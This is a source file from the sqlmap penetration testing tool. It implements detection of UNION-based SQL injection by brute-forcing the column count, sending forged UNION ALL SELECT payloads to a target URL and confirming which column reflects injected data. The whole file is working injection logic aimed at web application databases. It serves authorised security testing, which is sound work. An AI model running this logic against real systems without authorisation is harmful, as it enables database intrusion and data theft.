sqlmap/lib/techniques/union/test.py
2011-07-24 20:36:44 +00:00

241 lines
9.3 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import random
import re
import time
from lib.core.agent import agent
from lib.core.common import average
from lib.core.common import Backend
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import getUnicode
from lib.core.common import listToStrValue
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import removeReflectiveValues
from lib.core.common import singleTimeWarnMessage
from lib.core.common import stdev
from lib.core.common import wasLastRequestDBMSError
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.settings import FROM_TABLE
from lib.core.settings import UNION_MIN_RESPONSE_CHARS
from lib.core.settings import UNION_STDEV_COEFF
from lib.core.settings import MIN_RATIO
from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_STATISTICAL_RANGE
from lib.core.settings import MIN_UNION_RESPONSES
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.comparison import comparison
from lib.request.connect import Connect as Request
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
"""
Finds number of columns affected by UNION based injection
"""
retVal = None
pushValue(kb.errorIsNone)
items, ratios = [], []
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES
min_, max_ = MAX_RATIO, MIN_RATIO
for count in range(lowerCount, upperCount+1):
query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
ratio = comparison(page, True) or MIN_RATIO
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio))
ratios.pop(ratios.index(min_))
ratios.pop(ratios.index(max_))
minItem, maxItem = None, None
for item in items:
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item
if all(map(lambda x: x == min_ and x != max_, ratios)):
retVal = maxItem[0]
elif all(map(lambda x: x != min_ and x == max_, ratios)):
retVal = minItem[0]
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios)
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower:
retVal = minItem[0]
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
kb.errorIsNone = popValue()
if retVal:
infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
logger.info(infoMsg)
return retVal
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
validPayload = None
vector = None
positions = range(0, count)
# Unbiased approach for searching appropriate usable column
random.shuffle(positions)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for position in positions:
# Prepare expression with delimiters
randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop)
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content and phrase in content:
validPayload = payload
vector = (position, count, comment, prefix, suffix, kb.uChar, where)
if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop)
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
# Confirm that it is a full inband SQL injection
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, multipleUnions=randQueryUnescaped2)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
if content and ((randQuery in content and phrase2 not in content) or (randQuery not in content and phrase2 in content)):
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE)
unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()
if unionErrorCase:
warnMsg = "combined UNION/ERROR SQL injection case found on "
warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
warnMsg += "column with better characteristics"
logger.warn(warnMsg)
else:
break
return validPayload, vector
def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
validPayload = None
vector = None
# Confirm the inband SQL injection and get the exact column
# position which can be used to extract data
validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not validPayload:
validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE)
return validPayload, vector
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
validPayload = None
vector = None
query = agent.prefixQuery("UNION ALL SELECT %s" % kb.uChar)
total = conf.uColsStop+1 - conf.uColsStart
# In case that user explicitly stated number of columns affected
if conf.uColsStop == conf.uColsStart:
count = conf.uColsStart
else:
count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix)
if count:
if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]
if count:
query += ", %s" % kb.uChar
if Backend.getIdentifiedDbms() in FROM_TABLE:
query += FROM_TABLE[Backend.getIdentifiedDbms()]
validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
if not all([validPayload, vector]) and not conf.uChar:
warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider providing --union-char switch "
warnMsg += "(e.g. --union-char=1) and/or try to force the "
warnMsg += "back-end DBMS (e.g. --dbms=mysql) "
singleTimeWarnMessage(warnMsg)
return validPayload, vector
def unionTest(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
kb.technique = PAYLOAD.TECHNIQUE.UNION
validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload)
return validPayload, vector